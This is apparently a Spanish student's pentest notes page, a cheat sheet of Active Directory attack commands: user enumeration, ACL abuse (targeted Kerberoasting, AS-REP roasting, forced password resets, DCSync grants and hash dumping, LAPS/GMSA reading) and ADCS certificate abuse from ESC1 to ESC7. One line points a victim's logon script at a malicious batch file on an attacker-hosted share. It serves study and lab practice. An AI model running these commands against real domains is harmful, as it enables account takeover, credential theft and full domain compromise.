1 de 81

Pentest Notes

Home

Soy estudiante de ciberseguridad y he creado este espacio para compartir mis apuntes y técnicas relacionadas con el Pentesting. Aquí voy subiendo todo lo que aprendo, desde conceptos básicos hasta ataques más avanzados, con ejemplos y enfoques prácticos que uso en mi día a día.

La idea es que estas notas sean claras y útiles, tanto para mí como para cualquiera que esté en este mundo o quiera empezar en él. Me gusta documentar lo que hago porque me sirve para reforzar lo aprendido y, de paso, devolver algo a la comunidad que me ha ayudado tanto.

Este sitio no pretende ser perfecto, pero sí práctico y al grano. Lo que más me importa es seguir aprendiendo y tener un lugar donde organizar lo que sé. Si te sirve o te inspira a mejorar, ya con eso me doy por satisfecho.

¡Gracias por pasarte por aquí! 😊

ACTIVE DIRECTORY PENTESTING

Initial Enumeration

Enumerating users

No credentials

NSrpcenum

Se trata de la herramienta de S4vitar, pero con el nombre renombrado, para diferenciar de la otra herramienta creada llamada rpcenum que sí permite utilizar credenciales.

Esta herramienta permite enumerar el DA a través del protocolo RPC con una Null Session, es decir, sin proporcionar credenciales de acceso. Solamente funcionará en caso de que tengamos los permisos adecuados.

NSrpcenum -e DUsers -i 10.10.10.10

rpccclient

# Enumerar usuarios desde el RID 1000 hasta el 1500, se puede ajustar por el rango deseado. No se necesitan credenciales.

for i in $(seq 1000 1500); do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name"; done | awk '{print $NF}'

Kerbrute usernames

# Fuerza bruta para enumerar usuarios a través de Kerberos mediante un diccionario
kerbrute userenum --dc 10.10.10.10 -d dominio.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

# Validar si usuarios son válidos a nivel de dominio con un listado de posibles usuarios
kerbrute userenum --dc 10.10.10.10 -d dominio.htb possible_users.txt

Netexec with guest user

nxc smb 10.10.10.10 -u 'guest' -p '' --rid-brute

ridenum

ridenum 10.10.10.10 500 10000 guest ''

impacket-lookupsid

# Enumeración de usuarios con el usuario 'guest' a través de lookupsid
impacket-lookupsid dominio.htb/guest@10.10.10.10 -no-pass

# Mismo comando anterior, pero solo quedándonos con los nombres de usuarios.
impacket-lookupsid dominio.htb/guest@10.10.10.10 -no-pass | grep SidTypeUser | awk '{print $2}' | awk '{print $2}' FS='\\'

With credentials

ldapdomaindump

# Enumerar el LDAP entero y quedarnos solamente con los nombres de los usuarios
ldapdomaindump -u 'dominio.htb\user' -p 'password' 10.10.10.10 -o ldap; cd ldap; echo; cat domain_users.grep | awk '{print $1}' | tail -n +2

rpcenum

A través de la herramienta de rpcenum modificada, podemos realizar una enumeración completa de usuarios y demás información a través del protocolo RPC. La herramienta requiere de credenciales válidas.

rpcenum -e DUsers -i 10.10.10.10 -u 'user' -p 'password'

rpcclient

# Enumerar usuarios desde el RID 1000 hasta el 1500, se puede ajustar por el rango deseado. Necesario disponer de credenciales.

for i in $(seq 1000 1500); do rpcclient -U "user%password" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name"; done | awk '{print $NF}'

Netexec

# Obtener usuarios del dominio a través de RID Cycling Attack
nxc smb 10.10.10.10 -u 'user' -p 'password' --rid-brute

# Obtener solamente el listado de usuarios al realizar RID Cycling Attack
nxc smb 10.10.10.10 -u 'user' -p 'password' --rid-brute | grep SidTypeUser | rev | awk '{print $2}' | rev | awk '{print $2}' FS='\\'

# Enumeración de usuarios a través de LDAP
nxc ldap 10.10.10.10 -u 'user' -p 'password' --users

impacket-lookupsid

# Enumeración de usuarios con lookupsid con credenciales válidas.
impacket-lookupsid dominio.htb/'usuario':'password'@10.10.10.10

# Mismo comando anterior, pero solo quedándonos con los nombres de usuarios.
impacket-lookupsid dominio.htb/'usuario':'password'@10.10.10.10| grep SidTypeUser | awk '{print $2}' | awk '{print $2}' FS='\\'

ldapsearch

# Enumeración de todos los usuarios del DA a través de autenticación simple (NTLM)
ldapsearch -H ldap://10.10.10.10 -D 'user@dominio.htb' -w 'password' -b "DC=dominio,DC=htb" "(objectClass=user)" sAMAccountName | grep "^sAMAccountName:" | awk '{print $2}'

# Enumeración de todos los usuarios del DA a través de autenticación Kerberos
ldapsearch -H ldap://dc.dominio.htb -Y GSSAPI -b "DC=dominio,DC=htb" "(objectClass=user)" sAMAccountName | grep "^sAMAccountName:" | awk '{print $2}'

Abusing Active Directory ACLs/ACEs

GenericAll/GenericWrite

User/Computer

Podemos configurar un SPN ficticio en una cuenta de destino, solicitar un ticket de servicio (TGS), luego obtener su hash y realizar Kerberoasting Attack. Disponer de permisos de GenericAll o GenericWrite

Linux -

# Asignar un SPN ficticio (cifs/gzzcoo) a la cuenta llamada 'target'.
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'target' servicePrincipalName -v 'cifs/gzzcoo'

# Conseguir el ticket TGS del usuario que hemos hecho Kerberoastable.
impacket-GetUserSPNs -dc-ip 10.10.10.10 dominio.htb/'user':'password' -request-user 'target'

# Dejar el SPN vacío sobre el usuario que habíamos vuelto Kerberostable.
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'target' servicePrincipalName

---------------------------------------------------------------------------------------

# A través de PowerView.py
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainObject -Identity "TARGET" -Set 'servicePrincipalname=cifs/gzzcoo'

# Proceso automático, asigna un SPN a los usuarios que disponga permisos, te da el ticket TGS y luego deja al usuario tal y como estaba.
python3 targetedKerberoast.py --dc-ip 10.10.10.10 -d dominio.htb -u 'user' -p 'password'

Windows

# Asegurarse de que el usuario víctimo no disponga de SPN
Get-DomainUser 'victimuser' | Select serviceprincipalname

# Configurar el SPN al usuario víctima
Set-DomainObject -Identity 'victimuser' -Set @{serviceprincipalname='cifs/gzzcoo'}

# Obtener el Kerberoast hash
$User = Get-DomainUser 'victimuser'
$User | Get-DomainSPNTicket | fl

# Borrar el SPN del usuario víctima para dejarlo como estaba
$User | Select serviceprincipalname
Set-DomainObject -Identity 'victimuser' -Clear serviceprincipalname

Podemos asignar a un usuario la flag de (DONT_REQ_PREAUTH), solicitar un ticket (TGT), luego obtener un hash y realizar AS-REP Roast. Disponer de permisos de GenericAll o GenericWrite

Linux

# Asignamos al usuario 'target' la flag de (DONT_REQ_PREAUTH)
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add uac 'TARGET' -f DONT_REQ_PREAUTH

# Solicitamos el ticket TGT del usuario AS-REP Roastable
impacket-GetNPUsers dominio.htb/target -no-pass 2>/dev/null

# Volvemos a la normalidad al usuario AS-REP Roastable
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' remove uac 'TARGET' -f DONT_REQ_PREAUTH

---------------------------------------------------------------------------------------

# Desde PowerView.py
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainObject -Identity 'TARGET' -Set 'userAccountControl=4260352'

Windows

# NECESARIO DE IMPORTAR PowerView.ps1 Y ASREPRoast.ps1 EN EL EQUIPO WINDOWS VÍCTIMA

# Modificamos el userAccountControl (UAC) del usuario para volverlo AS-REP Roastable
Get-DomainUser username | ConvertFrom-UACValue

# Solicitamos el ticket TGT
Get-DomainUser username | ConvertFrom-UACValue
Get-ASREPHash -Domain dominio.htb -UserName username

# Dejamos por defecto el UAC del usuario
Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
Get-DomainUser username | ConvertFrom-UACValue

Modificar la contraseña de otro usuario. Disponer de permisos de GenericAll

Linux

# Modificamos la contrseña del usuario 'USER_TARGET' a 'Password01!' con bloodyAD
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set password 'USER_TARGET' 'Password01!'

# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con rpcclient
rpcclient -U 'user%password' 10.10.10.10 -W <DOMAIN> -c 'setuserinfo2 <user_target> 23 Password01!'

# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con net rpc
net rpc password "user_target" "Password01!" -U 'dominio.htb/user%password' -S 10.10.10.10

# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con PowerView.py
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainUserPassword -Identity 'user_target' -AccountPassword 'Password01!'

---------------------------------------------------------------------------------------

# Verificamos que el cambio se ha realizado correctamente
nxc smb 10.10.10.10 -u 'USER_TARGET' -p 'Password01!'

Windows

# Teniendo acceso a un equipo del dominio o DC, podemos modificar la contraseña del usuario
net user <user_target> Password01! /domain

# Desde PowerShell, creamos un objeto para nuestro usuario en caso de que no dispongamos de acceso con su usuario a la terminal, y cambiamos credenciales al usuario target
$SecPassword = ConvertTo-SecureString 'Password_Attacker' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('dominio.htb\user_attacker',$SecPassword)
$NewPass = ConvertTo-SecureString 'Password01!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'dominio.htb\user_target' -AccountPassword = $NewPass -Credential $Cred

WriteProperty en un ObjectType, que en este caso particular es Script-Path, permite al atacante sobrescribir la ruta del script de inicio de sesión del usuario delegado, lo que significa que la próxima vez que el usuario delegado inicie sesión, su sistema ejecutará nuestro script malicioso. Disponer de permisos de GenericAll o GenericWrite

Linux

# Asignamos al usuario 'TARGET' un script malicioso que se ejecutará cuando inicie sesión
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'TARGET' scriptpath -v '\\<ATTACKER_IP>\malicious.bat'

Windows

@ Asignamos al usuario 'target' que ejecute un script malicioso ubicado en el mismo equipo víctima
Set-DomainObject -Identity 'target' -SET @{scriptpath='C:\ProgramData\test\test.ps1'}

Group

Agregarnos a nosotros mismos a un grupo o a otro usuario del dominio.

Linux

# Disponemos de permisos de GenericAll sobre el grupo, por lo tanto nos agregamos a nosotros al grupo
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add groupMember 'Domain Admins' 'user'

# Añadir a usuario 'UserToAdd' a un grupo donde tenemos permisos de GenericAll
net rpc group ADDMEM 'GROUP TARGET' 'UserToAdd' -U 'user%password' -W dominio.htb -I 10.10.10.10

# Añadir usuario 'target' al grupo 'Group_target'
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Add-DomainGroupMember -Identity 'Group_target' -Members 'target'

Windows

net group 'GROUP TARGET' 'USER_TARGET' /add /domain

WriteDACL

Este permiso permite modificar la Lista de Control de Acceso Discrecional (DACL) de un objeto, lo que habilita al usuario cambiar los permisos asociados. Un atacante con WriteDACL podría concederse privilegios adicionales o revocar accesos legítimos, comprometiendo la seguridad del sistema.

WriteDACL en el Dominio

Linux

# Teniendo permisos de WriteDACL sobre el dominio, podemos dar permisos de DCSync a cualquier usuario
bloodyAD  --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add dcsync 'OBJECT_TARGET'

# Una vez el usuario tenga los permisos de DCSync, hacemos un dump del NTDS.dit
impacket-secretsdump dominio.htb/'user':'password'@10.10.10.10 -dc-ip 10.10.10.10 -just-dc-ntlm

# Volvemos a asignar al usuario víctima en el estado anterior
bloodyAD  --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' remove dcsync 'OBJECT_TARGET'

Windows

# Otorgar permisos de DCSync a la identidad 'user_target'
Import-Module .\PowerView.ps1
$SecPassword = ConvertTo-SecureString 'Password01!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('dominio.htb\hacker', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=dominio,DC=htb' -Rights DCSync -PrincipalIdentity 'user_target' -Verbose -Domain dominio.htb

WriteDACL en un grupo

Linux

# Con WriteDACL en un grupo, otorgamos a un usuario permisos de control total sobre el grupo
bloodyAD  --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add genericAll 'cn=GROUP_TARGET,dc=dominio,dc=htb' 'user'

# Quitamos el permiso de genericAll para dejarlo como antes
bloodyAD  --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' remove genericAll 'cn=GROUP_TARGET,dc=dominio,dc=htb' 'user'

Windows

# Añadirnos al grupo con comandos nativos de Windows
net group 'GROUP_TARGET' 'user_target' /add /domain

# A través de PowerSploit para darnos permisos de WriteMember sobre el grupo
ADd-DomainObjectAcl -TargetIdentity 'GROUP_TARGET' -Rights WriteMembers -PrincipalIdentity 'user_target'

WriteOwner

Un atacante puede convertirse en propietario de un objeto. Una vez que el propietario haya sido modificado por uno el cual el atacante dispone de acceso, este puede manipular el objeto teniendo control absoluto sobre él.

Linux

# Nos convertimos en propietario del objeto.
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set owner 'OBJECT_TARGET' 'USER_TARGET'

# Para garantizar el control total, al ser propietarios nos otorgamos genericAll sobre el objeto.
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'usuario' -p 'password' add genericAll 'OBJECT_TARGET' 'USER_TARGET'

-----------
# Convertir en propietario el usuario 'user_target' del objeto 'object_target'
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainObjectOwner -TargetIdentity 'object_target' -PrincipalIdentity 'user_target'

Windows

# Necesario de importar PowerView.ps1
$SecPassword = ConvertTo-SecureString 'password' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('dominio.htb\hacker', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "object_target" -PrincipalIdentity 'user_target'
ADd-DomainObjectAcl -TargetIdentity 'object_target' -Rights WriteMembers -PrincipalIdentity 'user_target'

ReadLAPSPassword

Si un atacante dispone de un usuario con privilegios de ReadLAPSPassword, este puede leer la contraseña de LAPS del equipo al cual se aplica este ACL.

Linux

# Leer la contraseña LAPS a través de bloodyAD
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

# Leer la contraseña LAPS a través de nxc
nxc ldap 10.10.10.10 -u 'user' -p 'password' -M laps

# Leer la contraseña LAPS a través de LAPSDumper
python3 laps.py -u 'user' -p 'password' -d dominio.htb

Windows

# Leer la contraseña LAPS a través de PowerShell (comando nativo)
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'

# Leer la contraseña LAPS a través de Get-LAPSPasswords.ps1
Get-LAPSPasswords -DomainController 10.10.10.10 -Credential dominio.htb\user| Format-Table -AutoSize

ReadGMSAPassword

Si un atacante dispone de un usuario con privilegios de ReadGMSAPassword, este puede leer la contraseña de GMSA del equipo al cual se aplica este ACL.

Linux

# Leer la contraseña GMSA a través de bloodyAD
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' get object 'TARGET' --attr msDS-ManagedPassword

# Leer la contraseña GMSA a través de nxc
nxc ldap 10.10.10.10 -u 'user' -p 'password' --gmsa

# Leer la contraseña GMSA a través de gMSADumper
python3 gMSADumper.py -u 'user' -p 'password' -d dominio.htb

# Leer la contraseña GMSA a través de PowerView.py
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Get-GMSA

ForceChangePassword

Si un usuario dispone del ACL ForceChangePassword sobre un usuario, este puede modificar la contraseña del usuario objetivo sin necesidad de conocer la que dispone actualmente.

Linux

# Modificamos la contrseña del usuario 'USER_TARGET' a 'Password01!' con bloodyAD
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set password 'USER_TARGET' 'Password01!'

# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con rpcclient
rpcclient -U 'user%password' 10.10.10.10 -W <DOMAIN> -c 'setuserinfo2 <user_target> 23 Password01!'

# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con net rpc
net rpc password "user_target" "Password01!" -U 'dominio.htb/user%password' -S 10.10.10.10

# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con PowerView.py
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainUserPassword -Identity 'user_target' -AccountPassword 'Password01!'

---------------------------------------------------------------------------------------

# Verificamos que el cambio se ha realizado correctamente
nxc smb 10.10.10.10 -u 'USER_TARGET' -p 'Password01!'

Windows

# Teniendo acceso a un equipo del dominio o DC, podemos modificar la contraseña del usuario
net user <user_target> Password01! /domain

# Desde PowerShell, creamos un objeto para nuestro usuario en caso de que no dispongamos de acceso con su usuario a la terminal, y cambiamos credenciales al usuario target
$SecPassword = ConvertTo-SecureString 'Password_Attacker' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('dominio.htb\user_attacker',$SecPassword)
$NewPass = ConvertTo-SecureString 'Password01!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'dominio.htb\user_target' -AccountPassword = $NewPass -Credential $Cred

Organizational Units ACL

Los ACLs en Organizational Units (OUs) pueden explotarse para comprometer todos los objetos contenidos en ellas.

Objetos no privilegiados

Un usuario con permisos GenericAll o WriteDACL sobre una OU puede añadir una ACE con FullControl e herencia activada, comprometiendo todos los objetos hijos al heredar dicha ACE.

Linux

# Nos otorgamos FullControl sobre la OU llamada TESTERS
impacket-dacledit -action 'write' -rights 'FullControl' -inheritance -principal 'username' -target-dn 'ou=testers,dc=dominio,dc=htb' 'dominio.htb'/'user':'password' -dc-ip 10.10.10.10 2>/dev/null

# Verificamos que disponemos de FullControl sobre la OU llamada TESTERS
impacket-dacledit -action 'read' -principal 'username' -target-dn 'ou=testers,dc=dominio,dc=htb' 'dominio.htb'/'user':'password' -dc-ip 10.10.10.10 2>/dev/null

GenericWrite

GenericAll

WriteDACL

ReadLAPSPassword

ReadGMSAPassword

ForceChangePassword

WriteGPLink

Active Directory Certificate Services (ADCS)

Introduction to ADCS

ADCS es el rol que maneja la emisión de certificados para usuarios, equipos y servicios en la red de Active Directory. Este servicio, si está mal configurado, puede presentar vulnerabilidades que los atacantes podrían explotar para elevar privilegios o acceder a información sensible.

Algunas de las posibles vulnerabilidades que puede tener ADCS son:

Delegación de privilegios en la emisión de certificados: Si ciertos usuarios tienen permisos para emitir certificados para otros, un atacante podría abusar de estos privilegios para obtener permisos elevados.
Mala configuración en las plantillas de certificados: Configuraciones incorrectas en las plantillas de certificados podrían permitir que un atacante solicite un certificado en nombre de otro usuario, incluso uno con privilegios elevados.
NTLM Relaying en HTTP: Si el ADCS acepta autenticación NTLM en lugar de Kerberos, un atacante podría redirigir las solicitudes para ganar acceso.

Componentes principales:

CA (Certification Authority): Emite y gestiona certificados. Puede haber múltiples CAs en una jerarquía.
Certificate Templates: Definen la configuración, permisos y requisitos para emitir certificados.
CES (Certificate Enrollment Server): Permite renovar certificados mediante solicitudes HTTPS.
Certificate Enrollment Policy Web Server: Proporciona información sobre la política de inscripción de certificados.
CA Web Enrollment: Permite que hosts fuera del dominio o con otros sistemas operativos renueven certificados.
NDES (Network Device Enrollment Service): Permite a dispositivos de red obtener certificados sin conexión.

Formatos de certificados X.509:

PEM: Certificado DER codificado en base64; puede almacenar múltiples claves sin protección por contraseña.
DER: Certificado en formato binario crudo.
PFX/P12 (PKCS#12): Almacena claves privadas con protección por contraseña.
P7B (PKCS#7): Almacena certificados de cadena, pero no claves privadas.

Principales atributos de certificados:

Subject: Entidad a la que se emite el certificado.
Issuer: Normalmente la CA.
SAN: Nombre alternativo del sujeto.
Validity Period: Periodo de validez del certificado.
EKU (Extended Key Use): Define usos específicos del certificado.
OID (Object Identifier): Indica el propósito o escenario de uso del certificado.

OID

Uso del certificado

1.3.6.1.5.5.7.3.1

Autenticación de servidor

1.3.6.1.5.5.7.3.2

Autenticación de cliente

1.3.6.1.5.5.7.3.3

Firma de código

1.3.6.1.5.5.7.3.4

Correo electrónico seguro

Proceso de CSR (Certificate Signing Request):

El cliente envía una solicitud de certificado (CSR).
La CA verifica los permisos del cliente para emitir el certificado solicitado.
Si los permisos coinciden, la CA genera y firma el certificado con su clave privada.
El certificado firmado es devuelto al cliente.

Checking Misconfigured Templates

Herramienta que utilizaremos para la escalada de privilegios con los ADCS.

Para verificar si existen plantillas mal configuradas, las cuales podemos abusar, podemos hacer uso del siguiente comando para que nos lo muestre en la terminal.

certipy-ad find -u user@dominio.htb -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdout

Ejemplo de cómo debería salirnos si existe una plantilla mal configurada en el ADCS que podemos intentar explotar. En este ejemplo, nos aparece que podemos realizar la explotación ESC7.

KDC_ERR_PADATA_TYPE_NOSUPP

Es posible que en algún momento obtengamos este mensaje de error al intentar autenticarnos con el certificado PFX del usuario que estamos impersonando, lo que indica que el KDC no admite el tipo de autenticación proporcionado.

KDC_ERR_PADATA_TYPE_NOSUPP

“…when a domain controller doesn’t have a certificate installed for smart cards…” is probably the most common reason for KDC_ERR_PADATA_TYPE_NOSUPP. If the DC doesn’t have a “Domain Controller”, “Domain Controller Authentication”, or another certificate with the Server Authentication EKU (OID 1.3.6.1.5.5.7.3.1) installed, the DC isn’t properly set up for PKINIT and authentication will fail.

Also, according to Microsoft, “This problem can happen because the wrong certification authority (CA) is being queried or the proper CA cannot be contacted in order to get Domain Controller or Domain Controller Authentication certificates for the domain controller.” At least in some cases we’ve been able to auth via PKINIT to a DC even when the CA is not reachable, so this situation may be hit and miss.

If you run into a situation where you can enroll in a vulnerable certificate template but the resulting certificate fails for Kerberos authentication, you can try authenticating to LDAP via SChannel using something like PassTheCert. You will only have LDAP access, but this should be enough if you have a certificate stating you’re a domain admin.

Nos encontramos con varios blogs que mencionan el error KDC_ERR_PADATA_TYPE_NOSUPP, el cual ocurre cuando el controlador de dominio no soporta PKINIT. Esto impide que autenticarnos directamente con el certificado PFX.

Como alternativa, podemos utilizar PassTheCert para autenticarnos a LDAP a través de SChannel con nuestro certificado. Aunque esto solo nos daría acceso a LDAP, podría ser suficiente si el certificado nos identifica como Administrador de Dominio.

Lo primero que haremos será extraer la clave privada y el certificado desde el archivo PFX que obtuvimos del usuario Administrator. Para ello, utilizamos Certipy de la siguiente manera. A continuación, haremos uso de la herramienta PassTheCert.py para autentifcarnos con el certificado obtenido.

certipy-ad cert -pfx administrator.pfx -nokey -out administrator.crt

certipy-ad cert -pfx administrator.pfx -nocert -out administrator.key

Con PassTheCert, utilizamos la clave privada y el certificado generado anteriormente para autenticarnos. En este ejemplo. se nos mostraría el resultado del comando whoami.

Para poder escalar privilegios y buscar otras maneras. podemos obtener una consola LDAP Shell con el parámetro -action ldap-shell.

python3 /opt/PassTheCert/Python/passthecert.py -action whoami -crt administrator.crt -key administrator.key -domain dominio.htb -dc-ip 10.10.10.10

Para ver varios ejemplos del uso de PassTheCert y de cómo logramos obtener acceso al sistema como el usuario Administrator podemos comprobar el siguiente blog.

ESC1

Domain Users Enrollment

Solicitud del certificado con SAN alternativo.

Probar el UPN como administrator@dominio.htb o sino administrator.

# Autenticación con credenciales
certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10

certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10

# Autenticación con hash NLTM realizando PassTheHash
certipy-ad req -u user@dominio.htb -hashes '<NTLM_HASH>' -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10

certipy-ad req -u user@dominio.htb -hashes '<NTLM_HASH>' -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10

# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad req -k -no-pass -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10 -target dc.dominio.htb

certipy-ad req -k -no-pass  -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10 -target dc.dominio.htb

En caso de recibir error de The NETBIOS connection with de remote host timed out, probar de nuevo a ejecutarlo.

Autenticación con certificado.

certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.10 -d dominio.htb

Domain Computers (Machine Account)

En algunas ocasiones, es posible que exista la ESC1 pero solamente se pueda realizar a través de algún Domain Computer. En este resultado de adPEAS se comprueba que solamente los Domain Computers tienen permisos de enrollment sobre la plantilla vulnerable para realizar el ESC1.

[?] +++++ Checking Template 'CorpVPN' +++++
[!] Template 'CorpVPN' has Flag 'ENROLLEE_SUPPLIES_SUBJECT'
[+] Identity 'HTB\Domain Computers' has enrollment rights for template 'CorpVPN'

powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10

PV > Add-ADComputer -ComputerName Gzzcoo -ComputerPass Gzzcoo123

Una vez dispongamos de acceso a autenticarnos como un Domain Computer, realizaremos el ataque. Sustituir Gzzcoo$ por el nombre del PC y la contraseña Gzzcoo123 por la correspondiente.

certipy-ad req -u 'Gzzcoo$'@dominio.htb -p 'Gzzcoo123' -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10

certipy-ad req -u 'Gzzcoo$'@dominio.htb -p 'Gzzcoo123' -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10

Autenticación con certificado.

certipy-ad auth -pfx administrator.pfx -username Administrator -domain dominio.htb

ESC2

Solicitud del certificado con SAN alternativo.

certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -upn user

Autenticación con certificado.

certipy-ad auth -pfx administrator.pfx -username administrator -dc-ip 10.10.10.10 -d dominio.htb

Verificación.

KRB5CCNAME=administrator.ccache wmiexec.py dominio.htb/administrator@dc.dominio.htb -k -no-pass

ESC3

Solicitar un certificado.

certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> /altname:administrator@dominio.htb

Solicitar un certificando suplantando al Administrator.

certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -on-behalf-of 'dominio.htb\administrator' -pfx user.pfx

ESC4

En caso de recibir error de The NETBIOS connection with de remote host timed out, probar de nuevo a ejecutar los comandos.

Atacando a la plantilla vulnerable a ESC4.

# Autenticación con credenciales
certipy-ad template -u 'user@dominio.htb' -p 'Password01!' -template <template_name> -save-old -dc-ip 10.10.10.10

# Autenticación con hash NLTM realizando PassTheHash
certipy-ad template -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -template <template_name> -save-old -dc-ip 10.10.10.10

# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad template -k -no-pass -template <template_name> -save-old -dc-ip 10.10.10.10 -target dc.dominio.htb

Verificar plantilla ESC4 después de la modificación.

# Autenticación con credenciales
certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdout

# Autenticación con hash NLTM realizando PassTheHash
certipy-ad find -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -dc-ip 10.10.10.10 -vulnerable -stdout

# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad find -k -no-pass -dc-ip 10.10.10.10 -vulnerable -stdout

Abusando de la plantilla modificada.

# Autenticación con credenciales
certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca <ca_name> -template <template_name> -upn Administrator -dc-ip 10.10.10.10

# Autenticación con hash NLTM realizando PassTheHash
certipy-ad req -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -ca <ca_name> -template <template_name> -upn Administrator -dc-ip 10.10.10.10

# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad req -k -no-pass -ca <ca_name> -template <template_name> -upn Administrator -dc-ip 10.10.10.10 -target dc.dominio.htb

Recuperando el hash NTLM del usuario Administrator.

certipy-ad auth -pfx administrator.pfx -domain sequel.htb

Volviendo la plantilla ESC4 al estado original.

# Autenticación con credenciales
certipy-ad template -u 'user@dominio.htb' -p 'Password01!' -template <template_name> -configuration <template_name>.json

# Autenticación con hash NLTM realizando PassTheHash
certipy-ad template -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -template <template_name> -configuration <template_name>.json

# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad template -k -no-pass -template <template_name> -configuration <template_name>.json -target dc.dominio.htb

ESC5

Solicitar el certificado del Domain Admin.

certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -template <template> -upn Administrator

Emitir el certificado solicitado.

En este caso, aprobamos la solicitud anterior especificando el ID de la solicitud con la opción -issue-request 10.

certipy-ad ca -u 'user@dominio.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -issue-request 10

Recuperar el certificado emitido.

certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -retrieve 10

Autenticarse con el certificado del Administrator.

certipy-ad auth -pfx administrator.pfx -username administrator -domain dominio.htb -dc-ip <ip> -ns <ip> -dns-tcp

ESC6

Solicitud de certificado con UPN alternativo, en este caso, el usuario Administrator.

certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca <ca_name> -target <ip> -template <template_name> -upn administrator@dominio.htb

ESC7

Requisitos previos

Para que esta técnica funcione, el usuario también debe tener el derecho de acceso Administrar certificados y la plantilla de certificado SubCA debe estar habilitada. Con el derecho de acceso Administrar CA, podemos cumplir con estos requisitos previos.

